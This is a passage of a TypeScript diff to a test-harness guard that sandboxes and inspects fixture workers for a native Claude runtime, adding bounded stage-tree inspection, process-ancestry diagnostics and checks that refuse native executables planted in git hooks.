IPC. */ export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; receiptMode?:"restricted-probe" }): Boundary { + if(fixtureProbeContext.getStore()||guardIdentityQualification.getStore())refuse("metadata-only probe cannot admit a native runtime"); qualify(); const env = options.env ?? process.env; const route = scriptedRoute.getStore(); @@ -781,13 +871,13 @@ export interface NativeFixtureWorkerSpawnRecord {pid:number;start:string;argv:re const workerSpawnRecords=new WeakSet(),workerSpawnObservers=new Set<{scope:ScriptedAuthority;observe:(record:NativeFixtureWorkerSpawnRecord)=>void}>(); export function nativeFixtureIsWorkerSpawnRecord(record:object):boolean{return workerSpawnRecords.has(record);} export function nativeFixtureObserveWorkerSpawns(observe:(record:NativeFixtureWorkerSpawnRecord)=>void):()=>void {const scope=scriptedRoute.getStore();if(!scope)throw Error("worker spawn observation requires scripted scope");const entry={scope,observe};workerSpawnObservers.add(entry);return ()=>workerSpawnObservers.delete(entry);} -function recordFixtureWorkerSpawn(pid:number,launch:{argv?:string[];command:readonly string[];env?:Record;brainPath?:string},scope:ScriptedAuthority):void { +function recordFixtureWorkerSpawn(pid:number,launch:{argv?:string[];command:readonly string[];env?:Record;brainPath?:string},scope:ScriptedAuthority,boundary?:GuardedPlan):void { const matching=[...workerSpawnObservers].filter(entry=>entry.scope===scope);if(!matching.length)return; const bwrap=nativeBwrapIndex(launch.argv!); // The validated status shell is an outer one-shot FD handoff. Replays use // their own status descriptors, retaining every subsequent sandbox prefix. const statusPrefixLength=bwrap>0&&basename(launch.argv![0]!)==="sh"&&launch.argv![3]==="brain-worker-status"?6:0; - const record=Object.freeze({pid,start:processStart(pid),argv:Object.freeze([...launch.argv!]),command:Object.freeze([...launch.command]),env:Object.freeze({...launch.env}),brainPath:launch.brainPath,bwrap,statusPrefixLength});workerSpawnRecords.add(record);for(const entry of matching)entry.observe(record); + const record=Object.freeze({pid,start:processStart(pid),argv:Object.freeze([...launch.argv!]),command:Object.freeze([...launch.command]),env:Object.freeze({...launch.env}),brainPath:launch.brainPath,bwrap,statusPrefixLength});workerSpawnRecords.add(record);if(boundary)guardedBoundaries.set(record.argv,boundary);for(const entry of matching)entry.observe(record); } /** Test code pins its scripted service before building a restricted turn. */ @@ -1172,11 +1262,11 @@ export function nativeFixtureDirectory(prefix: string): string { } interface FixtureKeeper { mount: string; namespacePid: number; namespaceStart: string; root: string } -interface KeeperInspection { mount: string; snapshot: string; refresh(): void } +interface KeeperInspection { mount:string;snapshot:string;managed:boolean;ordinary:boolean;bindSources:Map;live():boolean;refresh():void } const guardedChildren = new Map(); const bootstrapDiagnostics=new Map(); export function nativeBootstrapStatus(pid:number){return bootstrapDiagnostics.get(pid);} -const fixtureKeepers = new Map; claim():void; dispose(): void }>(); +const fixtureKeepers = new Map; bindSources:Map; claim():void; dispose(): void }>(); interface NativeFixtureRtkSpawn { start:string; launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch; expected:readonly string[]; liveExecs:()=>ReadonlyMap } const nativeFixtureRtkSpawns=new Map(); /** Host-only observation; a payload cannot mint an owned spawn or audit handle. */ @@ -1232,7 +1322,17 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s if(nativeRtkExitedState(nativeRtkCandidateState(pid,auditedStart)))continue; selected.push(pid); } - if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous",{cause:{candidateCount:selected.length,candidates:selected.map(pid=>({...positions.get(pid)!,state:nativeRtkProcessEvidence(pid).processState}))}}); + const diagnosticRole=(pid:number):string=>{try{ + const pin=owned.get(pid);if(!pin||processStart(pid)!==pin)return "expired"; + const args=readFileSync(`/proc/${pid}/cmdline`).subarray(0,65536).toString("utf8").split("\0"); + const role=args.includes("--version")?"version-probe":args.some((arg,i)=>arg==="--input-format"&&args[i+1]==="stream-json")?"sdk-stream":args.includes("--mcp-client")?"mcp-client":"other"; + return processStart(pid)===pin?role:"expired"; + }catch{return "unavailable";}}; + const diagnosticAncestry=(pid:number)=>{const chain:Array<{depth:number;parentRole:string;argvRole:string;state:string}>=[];const seen=new Set(); + for(let cursor=pid;owned.has(cursor)&&!seen.has(cursor)&&chain.length<64;){seen.add(cursor);const position=positions.get(cursor)!;let parent=0,state="unavailable";try{const status=readFileSync(`/proc/${cursor}/status`,"utf8");parent=Number(/^PPid:\s+(\d+)/m.exec(status)?.[1]??0);state=/^State:\s+([A-Z])/m.exec(status)?.[1]??"unavailable";}catch{} + chain.push({...position,argvRole:diagnosticRole(cursor),state});cursor=parent; + }return chain;}; + if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous",{cause:{candidateCount:selected.length,candidates:selected.map(pid=>({...positions.get(pid)!,state:nativeRtkProcessEvidence(pid).processState,argvRole:diagnosticRole(pid),ancestry:diagnosticAncestry(pid)}))}}); if(processStart(worker.pid)!==record.start||processStart(selected[0]!)!==owned.get(selected[0]!))throw Error("native fixture RTK identity changed"); if(nativeRtkExitedState(nativeRtkCandidateState(selected[0]!,owned.get(selected[0]!)!)))throw Error("native fixture RTK payload missing"); const {registerWorkerRtk}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-rtk.ts") as typeof import("../packages/ui-sdk/src/server/worker-rtk"); @@ -1310,36 +1410,144 @@ export function registerNativeFixtureKeeper(storage: FixtureKeeper): () => void try { return registerFixtureKeeper(storage); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("fixture keeper provenance is unavailable"); } } -/** Copy only bounded manager-reader bytes, never directly open the worker-private tree. */ -export async function captureNativeFixtureStage(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string):Promise> { - let count=0,total=0;const stamps=new Map(); +/** Inspect pinned readable entries in place; inaccessible entries use the bounded worker reader. */ +/** Producer-private entries get the same native candidate detection as argv. */ +function assertPreparedFixtureExecutable(relative:string,path:string,mode:number):void { + if(!/^(?:\.git\/hooks(?:\/|$)|\.brain-maintenance-git-[0-9a-f-]+(?:\/|$))/.test(relative)||!(mode&0o111))return; + if(isNativeClaude(path))refuse("native runtime in prepared fixture executable"); +} +const inPlaceFixtureSnapshots=new Set(); +const opaqueStageSnapshots=new Map(); +// Inspection copies are guard-owned; restore traversal only while destroying them. +function removeFixtureSnapshot(snapshot:string):void { + if(inPlaceFixtureSnapshots.has(snapshot))return; + if(!existsSync(snapshot))return;const owner=lstatSync(snapshot).uid;const restore=(path:string):void=>{const node=lstatSync(path);if(!node.isDirectory()||node.isSymbolicLink())return;if(node.uid!==owner)throw Error("Snapshot cleanup owner changed");chmodSync(path,0o700);for(const name of readdirSync(path))restore(join(path,name));}; + if(existsSync(snapshot))restore(snapshot);rmSync(snapshot,{recursive:true,force:true}); +} +function clearOpaqueSnapshot(snapshot:string){ + for(const path of opaqueStageSnapshots.keys())if(within(snapshot,path))opaqueStageSnapshots.delete(path); + for(const [path,owners] of inPlaceFixtureFiles){owners.delete(snapshot);if(!owners.size)inPlaceFixtureFiles.delete(path);} +} +// A walk is synchronous: no result survives an await or an execution boundary. +let fixtureValidationWalk:Set<()=>boolean>|undefined; +function fixtureWalk(run:()=>T,fresh=false):T { + const previous=fixtureValidationWalk; + if(previous&&!fresh)return run(); + fixtureValidationWalk=new Set(); + try{return run();}finally{fixtureValidationWalk=previous;} +} +function fixtureFreshness(check:()=>boolean):boolean { + if(fixtureValidationWalk?.has(check))return true; + const current=guardTiming("stage-freshness",check);if(current)fixtureValidationWalk?.add(check);return current; +} +let stageCaptureSlots=0; +const stageCaptureWaiters:(()=>void)[]=[]; +async function stageCaptureSlot():Promise<()=>void>{ + if(stageCaptureSlots>=3)await new Promise(resolve=>stageCaptureWaiters.push(resolve)); + else stageCaptureSlots++; + return ()=>{const next=stageCaptureWaiters.shift();if(next)next();else stageCaptureSlots--;}; +} +const stageEntryKeys=new WeakMap,ReadonlyMap>(); +const stageReadableKeys=new Set(); +const stageFileBytes=new Map();let stageFileBytesSize=0; +const inPlaceFixtureFiles=new Map>(); +function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number;bytes:number;inode:string},reader:StageReaderIdentity):string { + const path=join(reader.root,row.path); + try{ + const fd=openSync(path,0x200000|constants.O_NOFOLLOW); + try{const info=fstatSync(fd,{bigint:true});if(`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`!==row.stamp||(Number(info.mode)&0o7777)!==row.mode||String(info.ino)!==row.inode)throw Error("Stage entry changed");return fixtureDescriptorKey(fd);}finally{closeSync(fd);} + }catch(error){ + if((error as NodeJS.ErrnoException).code!=="EACCES"||!reader.inspect)throw error; + const evidence=reader.inspect(row.path,row.stamp,row.inode);verifyStageMetadataEvidence(evidence,reader,row.kind,row.stamp,[0,13]); + if(evidence.mode!==row.mode)throw Error("Stage mode changed"); + const [ino,size,mtime,ctime]=row.stamp.split(":"),kind=row.kind==="file"?0o100000:row.kind==="directory"?0o040000:undefined; + if(kind===undefined||size!==String(row.bytes))throw Error("Unproven stage entry key"); + return [evidence.dev,ino,size,mtime,ctime,kind|evidence.mode,evidence.uid,evidence.gid,evidence.nlink,evidence.mountId].join(":"); + } +} +function keeperCheckedFile(path:string,keeper:KeeperInspection|undefined):boolean { + if(!keeper?.managed)return false;const key=inPlaceFixtureFiles.get(path)?.get(keeper.snapshot);return key!==undefined&&fixturePathKey(path)===key; +} +function rememberStageBytes(key:string,bytes:Buffer):void { + if(bytes.length>16*1024**2)return; + if(!stageFileBytes.has(key)){stageFileBytes.set(key,bytes);stageFileBytesSize+=bytes.length;} + while(stageFileBytesSize>64*1024**2){const first=stageFileBytes.keys().next().value!;stageFileBytesSize-=stageFileBytes.get(first)!.length;stageFileBytes.delete(first);} +} +const stageOpaqueNodes=new WeakMap,OpaqueStageNode[]>(); +export async function captureNativeFixtureStage(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string,reader?:StageReaderIdentity):Promise> { + const inspect=()=>captureNativeFixtureStageInspected(manager,id,uid,maximum,snapshot,reader); + return fixtureManagerPin(manager as object)?guardTimingAsync("stage-inspection",inspect):inspect(); +} +async function captureNativeFixtureStageInspected(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string,reader?:StageReaderIdentity):Promise> { + let count=0,total=0,activeReaders=0,peakReaders=0,peakBufferedBytes=0,bufferedBytes=0,inPlaceFiles=0,copiedFiles=0,reusedPrivateFiles=0; + let failure:unknown,failed=false;const cancellations=new Set<()=>Promise>(),queue:(()=>Promise)[]=[],pending=new Set>(); + const check=()=>{if(failed)throw failure;}; + const fail=(error:unknown)=>{if(!failed){failed=true;failure=error;for(const cancel of cancellations)void cancel().catch(()=>{});}}; + const pump=()=>{while(!failed&&queue.length&&pending.size<3){const job=queue.shift()!;let task:Promise;task=Promise.resolve().then(async()=>{const release=await stageCaptureSlot();try{check();await job();}finally{release();}}).catch(fail).finally(()=>pending.delete(task));pending.add(task);}}; + const keys=new Map(),stamps=new Map(),opaque:OpaqueStageNode[]=[],directories:{path:string;kind:string;mode:number;stamp:string;bytes:number;inode:string}[]=[]; + const markOpaque=(row:{path:string;kind:string;stamp:string;mode:number},error:unknown):boolean=>{ + if(!reader||(error as NodeJS.ErrnoException).code!=="EACCES"||!["file","directory"].includes(row.kind))return false; + if(row.kind==="file"&&(row.mode&0o111)&&/^(?:\.git\/hooks\/|\.brain-maintenance-git-[0-9a-f-]+\/)/.test(row.path))throw Error("Uninspectable prepared executable"); + const original=join(reader.root,row.path),node=opaqueStageNode(original,row.path,row.kind as "file"|"directory",row.stamp,reader); + const target=join(snapshot,row.path);if(row.kind==="file")writeFileSync(target,Buffer.alloc(0),{mode:0o000,flag:"wx"}); + opaque.push(node); + nativeReceipt({kind:"native-fixture-opaque-input",head:nativeTestHead(),state:"unknown",reason:"worker denied read and execute/search"});return true; + }; if(!Number.isSafeInteger(maximum)||maximum<=0)throw Error("Invalid stage inspection bound"); const walk=async(relative:string,depth:number):Promise=>{ if(depth>256)throw Error("Stage inspection depth exceeded"); - const rows=await manager.listStage(id,relative,uid),names=new Set(); + check();const rows=await manager.listStage(id,relative,uid),names=new Set();check(); for(const row of rows){ if(++count>200000)throw Error("Stage inspection entry bound exceeded"); const name=row.path.slice(relative?relative.length+1:0); if(!name||name==="."||name===".."||name.includes("/")||name.includes("\0")||names.has(name)||row.path!==(relative?relative+"/":"")+name)throw Error("Invalid stage inspection name");names.add(name); + if(row.kind==="file"){if(!Number.isSafeInteger(row.bytes)||row.bytes<0||total+row.bytes>maximum)throw Error("Stage inspection byte bound exceeded");total+=row.bytes;} stamps.set(row.path,row.stamp); + queue.push(async()=>{check(); const before=await manager.statStage(id,row.path,uid); if(!before||before.stamp!==row.stamp||before.kind!==row.kind)throw Error("Stage inspection changed"); - const target=join(snapshot,row.path); - if(row.kind==="directory"){mkdirSync(target,{mode:0o700});await walk(row.path,depth+1);chmodSync(target,row.mode);} + const entryKey=reader?stageMetadataKey(row,reader):undefined;if(entryKey)keys.set(row.path,entryKey); + const readFindingKey=entryKey&&fixtureManagerPin(manager as object)?`${uid}:${reader?.gids.join(",")??""}:${entryKey}`:undefined; + let inspectedBytes:Buffer|undefined;const target=join(snapshot,row.path); + if(row.kind==="directory"){mkdirSync(target,{mode:0o700});try{await walk(row.path,depth+1);}catch(error){if(!markOpaque(row,error))throw error;}directories.push(row);return;} else if(row.kind==="symlink"){if(typeof row.target!=="string")throw Error("Invalid stage symlink");symlinkSync(row.target,target);} else if(row.kind==="file"){ - if(!Number.isSafeInteger(row.bytes)||row.bytes<0||total+row.bytes>maximum)throw Error("Stage inspection byte bound exceeded"); - const copy=await manager.readStage(id,row.path,Math.max(1,row.bytes),uid),reader=copy.stream.getReader(),pieces:Uint8Array[]=[];let bytes=0; - try{for(;;){const part=await reader.read();if(part.done)break;bytes+=part.value.byteLength;if(bytes>row.bytes)throw Error("Stage inspection file grew");pieces.push(part.value);} + const source=reader?join(reader.root,row.path):undefined; + const useInPlace=():boolean=>{ + if(!source||!entryKey)return false; + let fd:number|undefined; + try{fd=openSync(source,constants.O_RDONLY|constants.O_NOFOLLOW|constants.O_NONBLOCK); + if(fixtureDescriptorKey(fd)!==entryKey)throw Error("Stage entry changed");fixtureDescriptorHash(fd); + if(stageMetadataKey(row,reader!)!==entryKey)throw Error("Stage entry changed"); + symlinkSync(source,target);const real=realpathSync(source),owners=inPlaceFixtureFiles.get(real)??new Map();owners.set(snapshot,entryKey);inPlaceFixtureFiles.set(real,owners);inPlaceFiles++;return true; + }catch(error){if((error as NodeJS.ErrnoException).code!=="EACCES")throw error;return false;}finally{if(fd!==undefined)closeSync(fd);} + }; + // Reuse byte findings only for the same real worker UID/GIDs and full key. + // A first read still goes through the unchanged production private reader. + const cached=readFindingKey?stageFileBytes.get(readFindingKey):undefined; + if(readFindingKey&&stageReadableKeys.has(readFindingKey)&&useInPlace()){/* No inspection copy. */} + else if(cached){if(reader&&stageMetadataKey(row,reader)!==entryKey)throw Error("Stage entry changed");writeFileSync(target,cached,{mode:row.mode,flag:"wx"});copiedFiles++;reusedPrivateFiles++;} + else { + let copy:Awaited>;try{copy=await manager.readStage(id,row.path,Math.max(1,row.bytes),uid);}catch(error){if(markOpaque(row,error)){const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed");return;}throw error;}const reader=copy.stream.getReader(),pieces:Uint8Array[]=[];let bytes=0;const cancel=()=>reader.cancel();cancellations.add(cancel);activeReaders++;peakReaders=Math.max(peakReaders,activeReaders); + try{check();for(;;){const part=await reader.read();check();if(part.done)break;bytes+=part.value.byteLength;bufferedBytes+=part.value.byteLength;peakBufferedBytes=Math.max(peakBufferedBytes,bufferedBytes);if(bytes>row.bytes)throw Error("Stage inspection file grew");pieces.push(part.value);} const receipt=await copy.completed;if(bytes!==row.bytes||receipt.bytes!==bytes||receipt.workerUid!==uid||copy.workerUid!==uid)throw Error("Stage inspection reader receipt changed"); - writeFileSync(target,Buffer.concat(pieces,bytes),{mode:row.mode,flag:"wx"});total+=bytes; - }finally{await reader.cancel();await copy.completed.catch(()=>{});} + const inspected=Buffer.concat(pieces,bytes);if(!useInPlace()){writeFileSync(target,inspected,{mode:row.mode,flag:"wx"});copiedFiles++;}inspectedBytes=inspected; + }catch(error){if(!markOpaque(row,error))throw error;}finally{await reader.cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);activeReaders--;bufferedBytes-=bytes;} + } }else throw Error("Unsupported stage inspection node"); const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed"); + if(reader&&stageMetadataKey(row,reader)!==entryKey)throw Error("Stage full entry key changed"); + if(readFindingKey&&inspectedBytes){rememberStageBytes(readFindingKey,inspectedBytes);stageReadableKeys.add(readFindingKey);if(stageReadableKeys.size>200000)stageReadableKeys.delete(stageReadableKeys.values().next().value!);} + check();if(row.kind==="file"||row.kind==="symlink")assertPreparedFixtureExecutable(row.path,target,row.mode); + }); } }; - await walk("",0); + try{await walk("",0);while(queue.length||pending.size){pump();if(!pending.size)break;await Promise.race(pending);}check();for(const row of directories.reverse()){const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed");if(reader&&stageMetadataKey(row,reader)!==keys.get(row.path))throw Error("Stage full directory key changed");chmodSync(join(snapshot,row.path),row.mode);}} + catch(error){fail(error);} + finally{queue.length=0;await Promise.allSettled([...cancellations].map(cancel=>cancel()));await Promise.allSettled([...pending]); + nativeReceipt({kind:"native-fixture-inspection-resources",head:nativeTestHead(),readerLimit:3,peakReaders,peakBufferedBytes,inPlaceFiles,copiedFiles,reusedPrivateFiles,processMaxRssKiB:process.resourceUsage().maxRSS,drained:activeReaders===0,success:!failed});} + check();stageOpaqueNodes.set(stamps,opaque);stageEntryKeys.set(stamps,keys); return stamps; } const usedManagedKeepers=new WeakSet(); @@ -1362,28 +1570,161 @@ function ordinaryStageManifest(root:string,maximum:number):string { if(!Number.isSafeInteger(maximum)||maximum<=0)throw Error("Invalid stage inspection bound"); const visit=(path:string)=>{ if(++entries>200000)throw Error("Stage inspection entry bound exceeded"); - const info=lstatSync(path,{bigint:true}); + const info=lstatSync(path,{bigint:true}),key=fixturePathKey(path); if(!info.isDirectory()&&!info.isFile()&&!info.isSymbolicLink())throw Error("Unsupported stage node"); if(info.isFile()){bytes+=Number(info.size);if(bytes>maximum)throw Error("Stage inspection byte bound exceeded");} - let hash=""; - if(info.isFile()){ - const fd=openSync(path,constants.O_RDONLY|constants.O_NOFOLLOW|constants.O_NONBLOCK); - try{const opened=fstatSync(fd,{bigint:true});if(opened.dev!==info.dev||opened.ino!==info.ino||opened.size!==info.size)throw Error("Stage file changed");hash=createHash("sha256").update(readFileSync(fd)).digest("hex");const after=fstatSync(fd,{bigint:true});if(after.size!==info.size||after.mtimeNs!==info.mtimeNs||after.ctimeNs!==info.ctimeNs)throw Error("Stage file changed");}finally{closeSync(fd);} - } - rows.push(`${path.slice(root.length)}:${info.dev}:${info.ino}:${info.mode}:${info.size}:${info.mtimeNs}:${info.ctimeNs}:${hash}`); + const hash=info.isFile()?fileHash(path):info.isSymbolicLink()?readlinkSync(path):""; + if(info.isFile())assertPreparedFixtureExecutable(path.slice(root.length+1),path,Number(info.mode)); + if(fixturePathKey(path)!==key)throw Error("Stage changed during inspection"); + rows.push(`${path.slice(root.length)}:${key}:${hash}`); if(info.isDirectory())for(const name of readdirSync(path).sort())visit(join(path,name)); }; visit(root);return JSON.stringify(rows); } + +type FixtureProbeContext={definitionHash:string;brain:string;view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView;storage?:object;family?:"index"|"git";maximum?:number}; +const fixtureProbeContext=new AsyncLocalStorage(); +const metadataProbeMaskPlans=new WeakSet(); +/** Literal command and index-preparer shape are read from the same real producer. */ +export function nativeFixtureProbeCommands():{qualification:string[];index:string[];git:string[];definitionHash:string} { + const source=readFileSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-worker.ts"),"utf8"),start=source.indexOf("export async function probeNativeMaintenanceWorker("); + const command=/command: \["\/bin\/sh", "-c", '([^']+)'\]/.exec(source.slice(start)); + if(start<0||!command||!source.includes('command: [process.execPath, "--config=/dev/null", "--no-env-file", entry, String(preparation.maximum)]')||!source.includes('Bun.resolveSync("./maintenance-index-input", import.meta.dir)')||!source.includes('Bun.resolveSync("./maintenance-git-input", import.meta.dir)')||!source.includes('String(preparation.manifest.maximum)')||!metadataRuntime)throw Error("Production maintenance probe chain changed"); + return {definitionHash:createHash("sha256").update(source).update(readFileSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-index-input.ts"))).update(readFileSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-git-input.ts"))).digest("hex"),git:[metadataRuntime.path,"--config=/dev/null","--no-env-file",realpathSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-git-input.ts"))],qualification:["/bin/sh","-c",command[1]!],index:[metadataRuntime.path,"--config=/dev/null","--no-env-file",realpathSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-index-input.ts"))]}; +} +function fixtureProbeCommand(command:readonly string[],allowance:number):boolean { + const row=nativeFixtureProbeCommands(),context=fixtureProbeContext.getStore(),expected=context?.family==="git"?row.git:row.index; + return !context?.family&&JSON.stringify(command)===JSON.stringify(row.qualification)||command.length===5&&command.slice(1,4).every((word,i)=>word===expected[i+1])&&command[4]===String(context?.maximum??allowance)&&resolveExecutable(command[0]!,{})===expected[0]; +} +type GuardIdentityQualification={uid:number;gid:number;storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage}; +const guardIdentityQualification=new AsyncLocalStorage(); +const guardQualifiedTickets=new Map(); +let privateWorkerLauncher:Promise|undefined; +const qualificationDirectories=new Set(); +process.prependOnceListener("exit",()=>{for(const directory of qualificationDirectories)rmSync(directory,{recursive:true,force:true});}); +async function qualifyFixtureStagePrivately(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView):Promise{ + const reason="ticketed fixture identity requalification failed"; + try{ + if(storage.identityTicketFd===undefined||!realFixturePreparers)throw Error("Missing sealed ticket"); + const fd=storage.identityTicketFd,info=fstatSync(fd,{bigint:true}),bytes=readFileSync(`/proc/self/fd/${fd}`),ticket=JSON.parse(bytes.toString("utf8")); + if(!info.isFile()||info.uid!==0n||info.nlink!==0n||(info.mode&0o777n)!==0o444n||bytes.length>65536||ticket.kind!=="brain-worker-stage"||ticket.id!==basename(storage.mount)||ticket.appUid!==nativeKernelIdentity().uid||ticket.keeper.pid!==storage.namespacePid||ticket.keeper.start!==storage.namespaceStart||ticket.root.path!==join(storage.mount,"merged"))throw Error("Stage ticket differs"); + const pin=()=>{const now=fstatSync(fd,{bigint:true}),root=statSync(join(storage.root,"merged"),{bigint:true}),ns=statSync(`/proc/${storage.namespacePid}/ns/mnt`,{bigint:true});if(now.dev!==info.dev||now.ino!==info.ino||!readFileSync(`/proc/self/fd/${fd}`).equals(bytes)||processStart(storage.namespacePid)!==ticket.keeper.start||String(ns.ino)!==ticket.keeper.mountNamespaceInode||String(root.dev)!==ticket.root.dev||String(root.ino)!==ticket.root.ino)throw Error("Stage ticket expired");return `${now.dev}:${now.ino}:${ticket.keeper.pid}:${ticket.keeper.start}:${ns.ino}:${root.dev}:${root.ino}`;}; + const identity=pin(),prior=guardQualifiedTickets.get(identity);if(prior){if(prior.pin!==identity||prior.uid===undefined)throw Error("Stage qualification expired");return prior.uid;} + const attempt:{pin:string;uid?:number}={pin:identity};guardQualifiedTickets.set(identity,attempt); + const native=(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts") as typeof import("../packages/ui-sdk/src/server/worker-startup-view")).nativeWorkerStartupInput(view),options=fixtureManagerConnection(native.manager);if(!options)throw Error("Unobserved manager"); + let channel=stageMetadataChannels.get(storage);if(channel&&!channel.matches(ticket))throw Error("Wrong metadata handle");channel??=await connectNativeStageMetadata(nativeStageMetadataSocket(options.socketPath,ticket.id),ticket);stageMetadataChannels.set(storage,channel); + const root=lstatSync(join(storage.root,"merged"),{bigint:true}),stamp=`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`,evidence=channel.inspect("",stamp,String(root.ino)),uid=evidence.worker.readerUid; + if(!Number.isSafeInteger(uid)||uid<=0||uid===ticket.appUid)throw Error("Unproven private reader");verifyStageMetadataEvidence(evidence,{uid,gids:[ticket.appGid]},"directory",stamp,[0,13]); + const source=join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts");if(createHash("sha256").update(readFileSync(source)).digest("hex")!==realFixturePreparers.real.hostSource)throw Error("Qualification source changed"); + privateWorkerLauncher??=import(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts")+`?native-guard-qualification=${crypto.randomUUID()}`); + const privateLauncher=await privateWorkerLauncher;if(privateLauncher.verifiedWorkerIdentity===realFixturePreparers.launcher.verifiedWorkerIdentity||Function.prototype.toString.call(privateLauncher.probeWorkerHost)!==Function.prototype.toString.call(realFixturePreparers.real.hostProbe))throw Error("Qualification cache is shared"); + const productBefore=JSON.stringify(realFixturePreparers.launcher.verifiedWorkerIdentity(view.brain)); + const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-guard-qualification-"));qualificationDirectories.add(directory);chmodSync(directory,0o2770); + let result:ReturnType; + try{result=guardIdentityQualification.run({uid,gid:ticket.appGid,storage},()=>privateLauncher.probeWorkerHost(directory,{profile:"governed",stateBytes:1024**2,turnTempBytes:1024**2}));} + finally{rmSync(directory,{recursive:true,force:true});qualificationDirectories.delete(directory);} + if(JSON.stringify(realFixturePreparers.launcher.verifiedWorkerIdentity(view.brain))!==productBefore)throw Error("Product qualification cache changed"); + if(!result.ok||result.identity!=="separate_uid"||result.workerUid!==uid||pin()!==identity||fixtureManagerConnection(native.manager)!==options)throw Error("Private qualification failed"); + attempt.uid=uid;nativeReceipt({kind:"native-fixture-identity-requalification",head:nativeTestHead(),state:"qualified",cache:"guard-private",stageBound:true});return uid; + }catch{return refuse(reason);} +} +type ManagedFixtureStorage=import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage; +type ManagedFixtureView=import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView; +type ManagedFixtureLease={storage:ManagedFixtureStorage;view:ManagedFixtureView;areas:readonly string[];preparationAreas:Set;scope:ScriptedAuthority|undefined;closed:boolean;dispose():void}; +const managedFixtureLeases=new WeakMap(); +const stageMetadataChannels=new WeakMap>>(); +/** Public registration has no refresh operation. Only real preparation observers renew it. */ +export async function registerNativeFixtureManagedKeeper(storage:ManagedFixtureStorage,view:ManagedFixtureView,areas:readonly string[]=[]):Promise<()=>void>{ + let manager:object|undefined; + try{manager=(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts") as typeof import("../packages/ui-sdk/src/server/worker-startup-view")).nativeWorkerStartupInput(view).manager;}catch{/* Existing view validation retains its own refusal. */} + if(manager&&fixtureManagerOptions.has(manager)&&!fixtureManagerPin(manager))refuse("managed fixture manager provenance expired"); + const probe=fixtureProbeContext.getStore();if(probe){if(probe.brain!==view.brain||probe.view.root!==view.root||areas.length||probe.storage&&probe.storage!==storage)refuse("metadata-only probe owner differs");probe.storage=storage;} + const inspectionStarted=performance.now();const dispose=await createNativeFixtureManagedKeeper(storage,view,areas);nativeReceipt({kind:"native-fixture-inspection-timing",head:nativeTestHead(),phase:"initial",ms:Math.round(performance.now()-inspectionStarted)});const lease:ManagedFixtureLease={storage,view,areas:[...areas],preparationAreas:new Set(),scope:scriptedRoute.getStore(),closed:false,dispose};managedFixtureLeases.set(storage,lease); + return ()=>{if(lease.closed)return;lease.closed=true;managedFixtureLeases.delete(storage);try{lease.dispose();}finally{stageMetadataChannels.get(storage)?.close();stageMetadataChannels.delete(storage);}}; +} +let preparationObservers=0,stopPreparationObservers:(()=>void)|undefined; +/** Transparent observation; successful real preparers are the sole source of renewal events. */ +export function observeNativeFixturePreparations():()=>void { + if(preparationObservers++===0){ + if(!realFixturePreparers)refuse("real fixture preparers are unavailable"); + const {spyOn}=createRequire(import.meta.url)("bun:test") as typeof import("bun:test"),{output,maintenance,real}=realFixturePreparers; + type Event={lease:ManagedFixtureLease;family:"index"|"git";used:boolean}; + const preparations=new WeakMap(),pending=new WeakMap(); + const remember=(preparation:object|undefined,input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,family:Event["family"])=>{const storage=input.maintenance?.output?.storage,lease=storage&&managedFixtureLeases.get(storage);if(preparation&&lease){if(input.startupView!==lease.view||lease.closed||scriptedRoute.getStore()!==lease.scope)refuse("fixture preparation owner differs");preparations.set(preparation,{lease,family,used:false});}}; + const enterPreparer=async(preparation:object|undefined,input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,family:Event["family"],maximum:number|undefined)=>{ + const storage=input.maintenance?.output?.storage,lease=storage&&managedFixtureLeases.get(storage),context=fixtureProbeContext.getStore(); + if(!preparation||!lease||!context?.family)return; + if(context.family!==family||context.storage!==storage||!Number.isSafeInteger(maximum)||maximum===undefined||maximum<=0||lease.closed||input.startupView!==lease.view||scriptedRoute.getStore()!==lease.scope)refuse("fixture preparer owner differs"); + context.maximum=maximum;lease.dispose();usedManagedKeepers.delete(storage!); + try{lease.dispose=await createNativeFixtureManagedKeeper(lease.storage,lease.view,[]);}finally{usedManagedKeepers.add(storage!);} + }; + const retirePreparation=(input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch)=>{ + const 